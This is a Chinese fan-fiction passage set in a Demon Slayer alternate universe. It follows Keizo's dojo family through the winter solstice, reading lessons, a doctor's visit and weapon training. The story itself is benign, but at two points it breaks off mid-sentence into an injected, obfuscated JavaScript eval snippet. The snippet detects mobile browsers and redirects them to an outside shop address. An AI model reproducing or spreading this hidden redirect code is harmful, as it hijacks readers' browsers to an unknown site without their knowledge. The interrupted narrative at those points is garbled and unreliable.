庆藏看着他的背影,笑了笑,转头对狛治他们说:“你们也准备准备,去集市吧。让恋雪和小梅也出去透透气,别总闷在屋里。买点南瓜、红豆、柚子…对了,再买些面粉,今天咱们做冬至团子。” “是,师父。”狛治应道。 妓夫太郎也点头,心里默默记下要买的东西。 等去屋内叫了恋雪和小梅,几人一起出发去集市。 集市上比平日更热闹几分。冬至毕竟是重要节气,摊贩们早早摆出了应节的东西——金黄的南瓜堆成小山,饱满的红豆装在袋子里散发甜香,新鲜的柚子圆滚滚的,还带着黄澄澄的色泽。 恋雪牵着小梅的手,走在前面。她今天穿了那件橘色羽织,小梅穿着鹅黄衣裳,两人走在人群里,像一簇温暖的阳光。 小梅对什么都好奇,指着摊子上的东西问个不停。恋雪耐心地解答,声音温柔。 “恋雪姐姐,那个圆圆的是什么?” “那是柚子,冬至要泡柚子浴,寓意来年万事顺、不感冒。” “那个黄黄的呢?” “是南瓜,南瓜又叫なんきん,里头带个ん音,说是能招来好运气。今天我们要用它做团子和饭哦。” 狛治和妓夫太郎跟在后面,手里已经提了不少东西。狛治的目光总是不自觉地落在恋雪身上,看她微微弯下腰对小梅说话的样子,看她被寒风吹得微红的脸颊。他不声不响地走到她身侧,替她挡去了一些人流。 妓夫太郎则仔细挑选着食材。他拿起一个南瓜,掂了掂重量,又看了看表皮——这是以前在游郭为了找食物练出的眼力。挑好的南瓜个个结实饱满。 回去的路上,小梅忽然拉了拉恋雪的袖子,小声说:“恋雪姐姐,我好开心呀。” “为什么开心?”恋雪低头看她。 “因为大家都在。”小梅的眼睛亮亮的,“有哥哥,有恋雪姐姐,有狛治哥哥,有庆藏师父,还有顺一哥哥和他母亲…好多人,热热闹闹的。” 恋雪的心软成一滩水。她握紧小梅的手:“嗯,姐姐也很开心。和大家在一起,是一件特别特别好的事。” 顺一把母亲接来时,已近中午。 高桥夫人换上了一身干净的旧衣服,头发梳得整整齐齐。她看起来比上次气色好些,手里提着一个小陶罐,见到庆藏和回来的众人,连忙行礼。 “庆藏师父,实在不好意思,又来叨扰了。”她的声音温婉,带着感激,“家里没什么好东西,这是我自己腌的一点梅子,带过来给大家尝尝,不成敬意。” “您太客气了。”庆藏接过陶罐,打开闻了闻,一股酸酸甜甜的梅子香飘出来,“闻着就好!今天正好配团子吃。快请进,外面冷。” 罐子里,一颗颗梅子饱满润泽,泛着诱人的光泽。 “哇!!看着就好好吃!”小梅凑过去,眼睛亮亮的。 道场里已经生起了暖炉,橘红的火光跳动着,把屋子烘得暖洋洋的。 午后的时光,在食物的香气和忙碌中缓缓流淌。 厨房里,恋雪挽起袖子,开始和面。小梅踮着脚在旁边看,手里捏着一小团南瓜面团,学着她的样子揉搓。高桥夫人也来帮忙,她手脚麻利,把红豆馅分成均匀的小份。 “冬至团子,要做得圆滚滚的,象征团圆圆满。”恋雪一边做一边轻声解释,“南瓜和面,颜色好看,也寓意丰收健康。” 小梅认真地捏着手里的面团,试图搓成一个完美的圆球。可面团总是不听话,要么扁了,要么裂开。她瘪瘪嘴,不气馁,重新再来。 另一边,庆藏带着狛治、妓夫太郎和顺一在处理柚子和南瓜。庆藏用刀利落地切开南瓜,金黄的瓤露出来,甜香四溢。狛治默默地把南瓜切成块,准备一会儿蒸熟。 妓夫太郎和顺一则坐在廊下,用粗盐搓洗柚子皮——这是泡柚子浴前要做的,据说能更好地释放香气。 顺一的动作有些慢,但极其认真。妓夫太郎也不催他,只是偶尔递过洗好的柚子,两人之间没什么话,却有种默契的安静。 阳光从廊檐斜斜照进来,落在两人身上,暖呼呼的。 午后稍歇,恋雪拿出了新买的识字书。 她和高桥夫人坐在暖炉边,小梅挨着她,妓夫太郎也坐在一旁。书页翻开,上面画着简单的图画和文字。 “今天我们来学‘冬’字。”恋雪用指尖轻轻描摹着书上的字,“冬天来了,天气冷了,但是一家人围在一起,就很温暖。” 小梅跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919629|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着念:“冬——” 她的声音稚嫩却清晰。妓夫太郎也默默地看着那个字,手指在膝盖上无意识地比划着笔画。 高桥夫人看着这一幕,眼里有温柔的水光。她轻声对恋雪说:“恋雪小姐,您真是心善。教孩子们识字…这是顶好的事。” 恋雪微微摇头:“夫人别这么说。我也是想找点事做,而且…”她看了看认真描画的小梅和默记的妓夫太郎,笑容温柔,“看着他们学,我也很高兴。” 院子里,庆藏和狛治把洗好的柚子搬进浴室。庆藏一边搬一边说:“晚上泡个柚子浴,祛祛寒气,来年一年都顺顺利利的。” 狛治“嗯”了一声,把柚子一个个放进浴桶。热气从厨房那边漫过来,带着南瓜和红豆的甜香,和柚子清新的气息混在一起,成了冬至特有的味道。 晚饭时分,道场里的矮桌被拼在一起,摆得满满当当。 正中是一大锅热气腾腾的南瓜饭,金黄的米粒混着软糯的南瓜,香气扑鼻。周围摆着好几样菜——清炒胡萝卜,象征“红运当头”;醋溜莲藕,寓意“路路通达”;嫩滑的蒸蛋,撒着细细的海苔丝,意味着“顺顺利利”。 当然,最显眼的是那一盘盘圆滚滚的冬至团子。南瓜面团蒸熟后,里面包着甜而不腻的红豆馅。小梅亲手做的那几个虽然形状不那么规整,但被她郑重地放在盘子最中央。 “大家辛苦啦。”庆藏笑呵呵地举起茶杯,“今天是冬至,咱们以茶代酒,愿来年一家人都平安健康,团团圆圆!” “团团圆圆!”众人齐声应和,连小梅都学着举起她的小茶杯,声音清脆。 饭桌上充满了欢声笑语。高桥夫人尝了一口团子,眼睛微微睁大:“这团子…真好吃。面皮软糯,红豆馅甜得正好。” “是高桥夫人您分的馅料好。”恋雪柔声说。 顺一吃得很认真,每样菜都夹一些,尤其是那盘胡萝卜——庆藏师父说这是“红运”,他希望母亲来年身体能好些,运气能好些。 小梅吃到了自己做的那个团子,虽然形状歪了,但她吃得格外香,嘴角沾上了豆沙馅。妓夫太郎默默递过手帕,她接过来胡乱擦了擦,又咧嘴笑了。 狛治依旧是话最少的,但他给每个人盛饭,添汤,动作自然。当他把一碗热腾腾的南瓜汤放到恋雪手边时,恋雪轻声说了句“谢谢”,耳根又悄悄红了。 庆藏把这一切悄悄看在眼里,低头喝茶,藏住了嘴角的笑意。 夜幕降临,高桥夫人和顺一告辞离开。 庆藏给他们包了几个柚子,又塞了一包做多的团子:“带回去,明天早上蒸热了吃。” 高桥夫人推辞不过,只好收下。她拉着顺一,再次向庆藏和众人深深鞠躬:“今天真是…太感谢了。我和顺一,很久没有过这么热闹、这么暖和的冬至了。” “别这么说。”庆藏扶住她,“以后常来。顺一在这儿学得好,您也常来坐坐,和恋雪说说话。” 送走顺一母子,道场里安静下来,却还残留着节日的余温。 浴室那边,热水已经烧好。庆藏把剩下的柚子切开,果肉留给明天吃,柚子皮则全都放进浴桶里。滚烫的热水浇上去,柚子皮特有的清新香气瞬间蒸腾起来,弥漫了整个浴室,连走廊都能闻到。 “好了,准备泡澡吧。”庆藏拍拍手,“柚子浴,祛寒祈福。一个个来,别着急。” 小梅第一个被恋雪带进去。浴桶里热气氤氲,漂浮着金黄色的柚子皮,香气浓郁。小梅泡进热水里,舒服地眯起眼睛:“好香呀…恋雪姐姐,泡了这个澡,明年真的不会生病吗?” 恋雪用木勺舀起热水,轻轻浇在小梅肩上:“嗯,传说会保佑健康。不过啊,更要紧的是,小梅要好好吃饭,好好睡觉,这样才能长得健健康康的。” “嗯!我答应恋雪姐姐!”小梅用力点头。 院子里,狛治和妓夫太郎帮着收拾浴后的用具。夜空中没有月亮,星星却格外清晰,一颗一颗,亮晶晶地缀在夜幕上。 妓夫太郎抬起头,看着星空。他想起去年的冬至——不,他根本不知道哪天是冬至。他和妹妹蜷缩在破草席里,互相抱着取暖,饿得睡不着,只能数着屋顶漏下来的雪花,一片,两片… “想什么?”狛治的声音从旁边传来。 妓夫太郎回过神,摇摇头:“没什么…就是觉得,今年的冬天,不太冷。” 狛治顺着他的目光看向夜空,沉默片刻,说:“以后也不会冷了。” 这话说得平淡,却像一句承诺。 等所有人都泡过柚子浴,道场里弥漫着一股温暖而清新的气息。每个人的脸颊都被热气蒸得红扑扑的,身上还带着柚子香。 睡前,小梅抱着恋雪给她新缝的猫咪布偶,钻进被窝。她今天玩累了,眼皮已经开始打架,却还强撑着说:“恋雪姐姐,明年冬至…我们还要一起过…” “好呀。”恋雪给她掖好被角,声音轻得像夜风,“每年都一起过。” 妓夫太郎回到房间,解下腰间的练功带,仔细折好。他躺进被褥,被太阳晒过的棉花蓬松柔软,散发着阳光的味道。柚子浴的香气还萦绕在鼻尖,混合着晚饭时南瓜的甜,红豆的香,还有大家说话的笑声… 他闭上眼睛,那些画面还在眼前晃动:小梅搓团子时认真的脸,顺一母亲感激的眼神,庆藏师父爽朗的笑,狛治哥默默添汤的手,恋雪小姐温柔的侧影… 这些碎片,在冬至最长的夜里,拼凑成一幅完整而温暖的图景,把他紧紧包裹。 窗外,寒风依旧吹过屋檐,发出呜呜的声响。 但道场里,暖炉的余温还在,柚子香还未散尽。每一个房间里,平稳的呼吸声此起彼伏,交织成冬夜里最安心的摇篮曲。 冬至已至,长夜将尽。 而春天,就在不远的将来,静静等待着。 16. “真好” 清晨,练习已经开始。 顺一站在院子里,深吸一口气,努力站稳——左脚微微倾斜,右腿撑住大部分重量。他按照昨天庆藏师父教的姿势调整着,额头已经冒出一层细汗。 “对,就是这样。”庆藏的声音从旁边传来,温和又沉稳,“不要总想着我和别人不一样,只需要想着怎么才能站稳这件事就好。” 他蹲下身,手轻轻按在顺一的小腿肚上:“这里,感觉到了吗?肌肉在用力。记住这个用力的感觉,不是靠骨头硬撑,是靠肌肉稳住。” 顺一咬紧嘴唇,用力点头。他能感觉到左腿那股细微的颤抖,但这次,他没有慌张——庆藏师父说过,刚开始都会抖,慢慢练,肌肉会记住的。 院子另一边,三个小萝卜头正围着狛治练步法。宗之介还是最活泼的那个,一边移步一边碎碎念:“左、右、左…啊!又错了!” 竹雄抿着嘴,眼睛紧紧盯着自己的脚,生怕踩错。健太则因为太专注,差点被自己的裤脚绊倒,惹得其他两个哈哈大笑。 狛治没笑,只是伸手扶住他:“看脚下,也看前方。走路不看路,练武也一样。” “是、是!”健太红着脸站稳。 妓夫太郎独自在廊下,手里握着那对镰刀。他没有立刻开始挥舞,而是按照庆藏师父昨天的指导,先感受重量,感受重心,感受握柄贴合掌心的弧度。 “镰刀和刀剑不同。”庆藏早上对他说过,“它的弧线既是优势也是限制。你要学会顺着它的弧线发力,而不是硬掰。” 妓夫太郎慢慢抬起右手,镰刃在晨光中划过一道银亮的弧线。很轻,很顺,仿佛它们也在呼吸,在等待。 “哥哥好帅!”小梅的声音从主屋门口传来。 她今天穿的还是那件鹅黄色的小袄,头发被恋雪梳成两个圆圆的发髻,发髻上系着和衣服同色系的发带,看起来就像两颗小包子顶在头上。 她扒着门框,眼睛亮晶晶地看着院子里的众人。 恋雪从她身后走出来,手里拿着那本识字书:“小梅,该学字了哦。” “诶——”小梅拖长声音,眼睛还黏在哥哥身上,“可是我想看哥哥练武嘛…恋雪姐姐,就一会儿好不好嘛” 恋雪微微蹲下身,和她平视,声音温柔却坚定:“可是我们昨天不是说好了吗?先学会写自己的名字,写好了,下午才可以再去看哥哥练武。” 小梅撅起嘴,但还是乖乖跟着恋雪进了屋。 晨练结束后,三个小家伙被各自的家长接走。顺一帮狛治还有太郎把道场收拾了之后,也告辞回家。 庆藏师父和他说,可以根据自己的情况来晨练,下午的课是需要来的,但是如果晨练赶不及或者有其他事情,自己抽时间练习巩固昨天的东西就好。不必一定来到道场晨练,剩下的时间可以在家陪陪母亲,做些力所能及的活儿。 道场安静下来。 不一会儿,院子里飘起饭香。早饭是简单的味噌汤、烤鱼、腌菜,还有热腾腾的白米饭。一家人围坐在被炉旁,热气混着晨光,暖融融的。 饭后,等碗筷收拾完。恋雪在矮桌上铺开绵纸,研好墨。小梅跪坐在她对面,手里捏着一支小小的毛笔,巴掌大的小脸上摆着一副严肃的表情。 “今天我们先学写‘梅’字。”恋雪握着她的手,在纸上轻轻划下第一笔,“看,这样起笔…然后转过来…” 小梅的手抖得厉害,墨迹在纸上晕开一团黑。她瘪瘪嘴,眼眶有点红,但是咬着牙什么也没说。 “小梅,没关系的。”恋雪轻声说,“我第一次写的时候,比这个还糟糕呢。来,我们再试一次。” 妓夫太郎也坐在一旁,手里拿着另一张纸。他没有拿笔,只是用手指在膝盖上跟着比划。那个“梅”字在他脑海里转着——横、竖、撇、捺…原来妹妹的名字,是这样写的。 庆藏和狛治坐在廊下喝茶。庆藏看着屋里认真学字的两个孩子,嘴角带着笑:“狛治,你当初学字的时候,也这么费劲吗?” 狛治摇头:“我没正式学过。父亲教过我几个简单的字,后来…就没机会了。” 他的声音平静,但庆藏听出了里面的东西。他拍了拍狛治的肩膀:“现在学也不晚。等恋雪教完小梅,你也跟着学学。” 狛治“嗯”了一声,没说话,只是看着屋里——恋雪正耐心地纠正小梅的握笔姿势,侧脸在晨光里温柔得像幅画。 不知过了多久,小梅突然举起手里的纸,眼睛亮得像星星:“哥哥!我会写哥哥的名字了!” 纸上歪歪扭扭地写着两个字——“太”“郎”。笔画粗细不均,结构也歪斜,但能看出来是什么字。 妓夫太郎愣住了。他接过那张纸,手指轻轻抚过墨迹。墨还没干透,摸上去有点湿润,有点凉。但他心里却像被什么烫了一下,热热的,涨涨的。 “小梅…”他的声音有点哑,“你怎么先学我的名字…” “因为哥哥最重要呀!”小梅理所当然地说,然后又不好意思地低下头,“我、我自己的名字还写不好…‘梅’字好难写,笔画好多…” 恋雪笑着摸了摸她的头:“已经很厉害了呀。第一次学,就能写出哥哥的名字。” 庆藏和狛治也走过来看。庆藏拿起那张纸,仔细端详,然后哈哈大笑:“写得好!比你狛治哥第一次写的字好看多了!” 狛治:“……” 但他看着纸上那两个歪歪扭扭的字,嘴角也微微扬起来:“嗯,小梅写得很好。” 小梅被夸得脸都红了,但还是骄傲地挺起小胸脯:“我、我下午还要学!要学写恋雪姐姐的名字!还有庆藏师父!还有狛治哥哥!” “好呀。”恋雪温柔地应着,“那我们下午继续。” 午后的阳光很好,暖融融地洒满道场。 吃饭时,庆藏放下碗筷,对狛治说:“狛治,下午你带恋雪和小梅去福泽医师那儿一趟。恋雪的药快吃完了,正好让医师看看她最近恢复得怎么样。小梅也去看看,看看身子到底好没好,好的怎么样了。” 他顿了顿,又补充:“今天天气好,你们慢慢走,就当散心了。总闷在家里也不好。” 狛治点头:“是。” 恋雪轻声说:“谢谢父亲。” 小梅则眼睛一亮:“可以去外面玩吗?” “是去看医师,不是玩。”庆藏笑着捏了捏她的脸,“不过看完医师,可以在回来的路上逛一逛。” “好耶!”小梅欢呼。 庆藏又看向妓夫太郎:“太郎,你下午留下。我观察了你这些天的身法,素流的基础功对你来说有些地方可以调整调整,更适合你用镰刀。” 妓夫太郎坐直身子:“是,师父。” 饭后稍作休息,狛治就带着恋雪和小梅出门了。 下午的道场很安静。庆藏让妓夫太郎换上练功服,系好那条黑色的练功带,然后带他走到院子中央。 “素流的基础步法,讲究稳扎稳打。”庆藏示范了一个标准的移步,“但你的身体更灵活,爆发力也好。如果用镰刀,步法可以更活一些。” 他让妓夫太郎握住镰刀,然后轻轻推了推他的肩膀:“感受一下。如果我这样推你,你怎么卸力,怎么借力反击?” 妓夫太郎顺着推力侧身,镰刃自然划过一道弧线。很流畅,仿佛身体自己知道该怎么做。 “对,就是这样。”庆藏眼睛亮了,“你骨子里有这种本能。我们要做的,不是把它磨掉,是把它练得更精,更准。” 接下来的时间,庆藏一点一点调整妓夫太郎的姿势。马步可以更低一些,重心转换可以更快一些,转身时腰胯要更活… “镰刀是弧刃,你的身法也要带弧线。”庆藏比划着,“不是直来直去地冲,是绕,是旋,是像水一样流过去,然后——” 他做了一个迅疾的挥斩动作。 妓夫太郎跟着学。汗水很快浸湿了练功服,但他没停。每一次调整,每一次尝试,他都能感觉到身体里有什么东西在苏醒——不是暴力,不是蛮力,是一种更精细的、属于战斗的直觉。 阳光慢慢西斜,把两人的影子拉得很长。 另一边,医馆里弥漫着熟悉的药草味。 福泽医师让小梅先坐下,手指搭在她纤细的手腕上。老医师闭着眼,眉头微微皱着。 小梅看着福泽医师皱起的眉头,紧张地小声问:“医师爷爷,我…我怎么样?我还能好吗?” 福泽医师睁开眼,笑着说:“当然能好。你这孩子,就是之前营养不良导致亏空得太厉害,气血不足。不过这段时间补得不错,脉象摸着还不错。” 他松开手,拿起笔开始写方子:“我给你开个食补的方子。红枣、桂圆、山药…这些东西平时做饭时放一点,慢慢养。是药三分毒,能不吃药就不吃。” 小梅眨眨眼:“那…那我什么时候可以完全好呢?庆藏师父说,要等我完全好了,才能跟着哥哥他们练武。我想早点练武,这样就可以保护哥哥,保护恋雪姐姐他们了!” 福泽医师一愣,随即哈哈大笑:“哟,小姑娘家家,志气不小啊!” 他放下笔,认真地看着小梅:“你回去跟庆藏师父说,简单的锻炼现在就可以开始,对身体有好处。但要量力而行,不能逞强。搭配这个食补方子,好好吃饭,好好睡觉,很快就能养得好好的。” “真的吗?”小梅的眼睛亮晶晶的。 “医师爷爷还能骗你一个小姑娘不成?”福泽医师笑着摸了摸她的头,“去吧,换你恋雪姐姐来。” 轮到恋雪时,福泽医师仔细看了看她的脸色:“最近感觉怎么样?咳嗽还厉害吗?” 恋雪轻声回答:“药都按时吃了。最近…感觉好多了。昨天冬至,还和大家一起做了团子。” “那就好,那就好。”福泽医师一边把脉一边点头,“精气神看着确实比之前好了。家里多了个小姑娘,能陪你说说话,是好事啊。不然就庆藏和狛治两个大男人,有些话你也不好跟他们说。” 恋雪脸微微泛红:“嗯…小梅很可爱,也很活泼。” “脉象也稳了一些。”福泽医师松开手,“是药三分毒,老吃药也不是办法。这次我给你调一调剂量,再开个食补的方子。平时多吃些润肺、温补的东西,温和,对身体也好。” 他一边写方子一边念叨:“趁着天气好多出去走走,别总闷着。心情好了,身体自然跟着好。” 狛治一直安静地站在旁边,眼睛看着福泽医师写下的每一味药材,每一个注意事项。等方子开好,他双手接过,仔细折好收进怀里。 “谢谢福泽医师。”他低声说。 福泽医师摆摆手:“行了,回去吧。记着,食补贵在坚持,急不得。” 回去的路上,阳光暖暖地照着。小梅因为得到了“可以简单锻炼”的许可,开心得一路蹦蹦跳跳,像只小麻雀。 恋雪走在她身后,脚步比来时慢了些。她的身体虽然好转,但毕竟底子弱,走久了还是有些吃力。 狛治注意到了。他放慢脚步,等恋雪走到身边时,轻声问:“累了?” 恋雪摇摇头,但额上已经渗出细汗:“没关系的,慢慢走就好…” 话没说完,狛治已经走到她身前,背对着她蹲了下来。 “上来。”他说,声音不高,却不容拒绝,“我背你回去。” 恋雪愣住了。她的脸“唰”地红了,从耳根一直红到脖颈。手指无意识地绞着衣袖,嘴唇动了动,却发不出声音。 小梅回过头,看见这一幕,眨眨眼:“恋雪姐姐累了吗?那让狛治哥哥背你吧!狛治哥哥力气可大了!” 恋雪看着狛治的背影——白色的练功服在阳光下微微发亮,黑色的练功带束着窄瘦的腰身。 他的背脊微微弓起,肩胛骨的轮廓清晰地显现出来——那并非成年男性厚实宽阔的弧度,而是属于少年抽条时特有的、带着利落线条的骨架。 然而,常年习武的痕迹也深深烙印在这副身躯上:布料之下的肌肉并不虬结夸张,却紧实而富有韧性,随着他平稳的呼吸微微起伏。 恋雪的心跳得很快,咚、咚、咚,像要从胸口蹦出来一样。 最终,她咬了咬嘴唇,小心翼翼地趴了上去。 狛治稳稳地起身。恋雪很轻。他的手掌托着她的腿弯,隔着衣物能感觉到温热的体温。而比体温更先涌来的,是那股淡淡的、属于恋雪的气息——草药的清苦混着皂角的干净,还有一丝说不清的、柔和的香气。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919630|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么香气呢?狛治想。明明只是普通的皂角还有草药的气味…为什么会…那么地,撩人心弦。 他的耳朵和脖颈也开始发烫,幸好有头发挡着,应该…看不出来吧? 小梅走在旁边,仰头看着他们,忽然开口:“狛治哥哥和恋雪姐姐感情真好呀。” 恋雪的脸更红了,把脸埋进狛治的肩窝。 小梅继续说:“以前我和哥哥在游郭的时候,很少看见像你们感情这么好的男女呢。那些大人们…总是吵吵嚷嚷的,或者冷冰冰的。” 她想了想,又补充:“但是狛治哥哥对恋雪姐姐就不一样。会记得给恋雪姐姐夹菜,会帮她梳头,现在还会背她…真好。” 狛治的脚步几不可察地顿了一下。他没说话,只是托着恋雪的手稍稍收紧了些。 恋雪的脸已经完全埋起来了,只有通红的耳尖露在外面。她能感觉到狛治掌心的温度,能闻到他身上阳光和汗水混合的气息——不讨厌,反而让人安心。 街道两旁的屋檐滴着化雪的水,嘀嗒,嘀嗒。阳光把三个人的影子投在地上,重叠在一起,拉得很长很长。 小梅蹦蹦跳跳地走在前面,哼着不知名的小调。狛治背着恋雪,脚步稳而缓。恋雪趴在他背上,能听见他平稳的心跳,能感觉到他呼吸时背脊轻微的起伏。 这一刻,世界安静得仿佛只剩下他们三个人。阳光暖暖的,风轻轻的,连空气都带着甜味。 真好。 恋雪想。 能遇见父亲,能遇见狛治先生,能遇见太郎和小梅…能在这个冬天,拥有这样的温暖。 真好。 狛治在想。 背上的重量很轻,却沉甸甸地压在心上。不是负担,是某种…让他想要挺直脊梁,想要变得更强的重量。 他要守护这个家,守护道场,守护庆藏师父,守护恋雪,守护太郎和小梅,守护每一个需要守护的人。 这条路很长,但他会一直走下去。 一步一步,稳稳地,走下去。 真好。 小梅也在想。 在那一个雪夜,被庆藏师父捡回家,遇见恋雪姐姐还有狛治哥哥。现在,她和哥哥也有了家,再也不是被所有人嫌弃的小孩。 夕阳把天空染成橘红色的时候,他们回到了道场。 庆藏和妓夫太郎刚结束下午的训练,两人都是一身汗。看见狛治背着恋雪回来,庆藏露出了然的笑意。 “回来了?福泽医师怎么说?” 狛治小心地把恋雪放下,从怀里掏出方子:“医师说恋雪恢复得不错,调了药量,开了食补的方子。小梅也是食补,说可以开始简单锻炼了。” “太好了!”小梅抢着说,“医师爷爷说,我很快就能养得壮壮的,然后就可以和哥哥一起练武了!” 妓夫太郎走过来,摸了摸她的头:“那小梅要好好吃饭,好好睡觉。” “嗯!” 晚饭时,道场里又热闹起来。庆藏看了福泽医师开的方子,点点头:“食补好,温和。明天开始,咱们就按这个方子做饭。” 他又看向小梅:“不过小梅,锻炼要循序渐进,不能逞强。明天开始,你先跟着做做热身,等身体适应了,再慢慢加量。” “知道啦!”小梅用力点头。 饭后,恋雪拿出识字书,继续教小梅写字。今天下午她写了“恋”字,虽然还是歪歪扭扭,但比早上好多了。 妓夫太郎也坐在旁边,手里拿着笔,在纸上练习。他写得很慢,每一笔都用力,仿佛要把这些字刻进骨子里。 狛治收拾完厨房,也走过来坐下。恋雪看了他一眼,轻声问:“狛治先生…要一起学吗?” 狛治沉默了一下,点点头。 恋雪笑了,拿过一张新纸,写下“狛治”两个字:“这是你的名字。” 狛治盯着那两个字,看了很久。然后他拿起笔,笨拙地模仿。第一笔就歪了,墨迹糊成一团。但他没停,重写。 小梅凑过来看,咯咯笑:“狛治哥哥写得比我还难看!” 狛治:“……” 但他没生气,只是继续写。一笔,一划,认真得像在练武。 庆藏坐在廊下喝茶,看着屋里暖黄的灯光,看着四个孩子围坐在一起学字的模样,嘴角的笑意都藏不住。 幸福也顺着每个人嘴角的笑意一点点地流露出来。 这个冬天,道场里多了很多声音——小梅的笑声,太郎认真的呼吸声,三个孩子吵吵闹闹的欢笑声,顺一努力的喘息声,还有现在,笔尖划过纸面的沙沙声。 这些声音交织在一起,成了最动听的乐章。 夜深了,道场安静下来。 狛治躺在床上,眼前还浮现着下午背恋雪时的画面。她的重量,她的气息,她通红的脸颊…还有小梅那句“感情真好”。 他翻了个身,手指无意识地摩挲着掌心——那里仿佛还残留着托住她腿弯时的触感。 隔壁房间,恋雪也还没睡。她抱着枕头,脸埋在柔软的被褥里,耳根还在发烫。狛治先生背脊的温度,他掌心的力道,他平稳的心跳… 她在黑暗里轻轻叹了口气,嘴角却扬起来。 真好。 狛治先生,能遇见你,真好。 妓夫太郎的房间,小梅已经睡着了,怀里抱着那个猫咪布偶。妓夫太郎躺在被褥里,手指在黑暗中虚握,回忆着下午练镰刀时的感觉。 弧线,旋转,发力… 还有小梅写的“太郎”两个字。 那些歪歪扭扭的笔画,其实并不好看,但是在太郎眼里,没有什么字可以比得上妹妹写的、他的名字。 他翻过身,看着窗外的星空。星星很亮,一颗一颗一颗,安静地闪烁着。 真好。 太郎心里突然冒出了这两个字。 人们常说,“福祸相依”。之前和妹妹吃过的苦头、遭到的冷眼,经历了那么多的祸事,才换来了被庆藏师父捡回家的这件好事。 老天爷,我终于相信了,“福祸相依”这个词,也是可以真真切切发生在我这样的人身上的。 遇见庆藏师父,遇见恋雪小姐,遇见狛治先生,还能和妹妹生活在这样幸福的家… 真好。 17.练武与护卫(上) 晨光微熹。 主屋里,炭火烧得正暖。恋雪跪坐在矮桌前,膝上摊开一件浅蓝色的旧衣裳——准备改成小梅的练功服。她手里拿着剪刀,却没有立刻下剪,而是在布料上细细地描画着。 小梅趴在桌子另一头,面前摊着识字书和绵纸。她手里捏着一支小小的毛笔,小脸皱成一团,正一笔一划地描着昨天学的字——“梅”。 “这里…要这样弯过去…”小梅小声嘀咕着,手腕微微发抖,墨迹在纸上晕开一小团黑。她瘪瘪嘴,不气馁,换个地方重新写。 恋雪抬眼看了看她,嘴角泛起温柔的笑意:“小梅今天写得已经比昨天稳多了。有很大的进步呢!” “真的吗?”小梅眼睛一亮,随即又皱起鼻子,“可是‘梅’字好难写啊…笔画这么多,我总是写不好看。” “慢慢来就好。”恋雪放下剪刀,拿起笔,在另一张纸上写下工整的“梅”字,“你看,先写这一横,然后这一竖…像不像小梅站在院子里看哥哥练功的样子?” 小梅凑过去看,眨眨眼:“好像…真的有点像!” “所以呀,写字就像练武一样。”恋雪轻声说,“一开始都觉得难,但每天练一点,慢慢就会了。” 她重新拿起剪刀,沿着画好的线小心地裁剪。布料发出细微的“嚓嚓”声。小梅好奇地凑过来:“恋雪姐姐,你在做什么呀?” “给小梅改一件练功服。”恋雪手里的动作不停,“上午改好,下午小梅就可以跟着父亲他们去上课了。” 小梅的眼睛“唰”地亮了:“真的吗?!我下午就可以跟哥哥他们一起练武了吗?” “嗯。”恋雪点头,手上的剪刀利落地剪下一块多余的布料,“不过小梅要记住,一开始只能做最基础的练习,不能逞强。福泽医师说了,要循序渐进。” “我知道!我一定好好听庆藏师父的话!”小梅用力点头,小脸上满是期待。 院子里传来晨练的声音——三个孩子的脚步声,顺一努力的喘息声,还有镰刀破空的“嗖嗖”声。 小梅忍不住跑到窗边,扒着窗框往外看。晨光里,哥哥正握着那对镰刀练习身法。翻、跳、绕、旋…每一个动作都带着银亮的弧光,像冬日里飞舞的雪片。 “哥哥好厉害…”小梅喃喃道。 恋雪也停下手中的活计,看向窗外。她看了一会儿,嘴角的笑意更深了。 收回目光,继续手里的针线。针尖穿过布料,拉出细密的线,一针一针,把裁剪好的衣片缝合起来。 小梅看够了,又跑回来继续练字。这次她写得认真多了,一笔一划,虽然还是歪歪扭扭,但能看出在努力控制力道。 屋子里很安静,只有针线穿过布料的细微声响,和笔尖划过纸面的沙沙声。阳光从窗户照进来,在二人身上投下了温暖的光晕。 院子里,晨练正进行到一半。 三个小萝卜头今天蹲马步的时间比平时长了一倍。宗之介的腿已经开始抖了,嘴里小声嘀咕:“庆藏师父…还、还要多久啊…” 庆藏背着手在他们面前踱步:“坚持住。下盘稳是素流的根本。你们看顺一哥哥——” 顺一站在院子另一角,正按照庆藏昨天教的姿势蹲马步。他的左腿依旧微微颤抖,额头上全是汗,但眼神专注,咬着牙一动不动。 “顺一才学第三天,就能坚持这么久。”庆藏走到宗之介面前,拍了拍他的肩膀,“你们学了这些天,可不能输给新来的师兄啊。” “才、才不会输!”宗之介立刻挺直腰板,腿也不抖了——至少表面上不抖了。 竹雄和健太见状,也咬牙坚持。 庆藏满意地点点头,转身走向院子中央——那里,妓夫太郎正练习着昨天调整过的身法。 镰刀在晨光中划出一道道银亮的弧线。翻、跳、绕、旋…每一个动作都流畅自然,仿佛那对镰刀是他身体的一部分。 庆藏看了一会儿,出声指导:“太郎,转身时腰再沉一点。对,就是这样——用腰胯带动全身,不是只靠手臂的力量。” 妓夫太郎照做,镰刀划出的弧线更加圆润,带着一种韵律感。 “好。”庆藏点头,“记住这个感觉。素流的武器技,讲究的是身、器合一。你的身法要跟着武器的特性走,武器也要顺着你的心意动。” 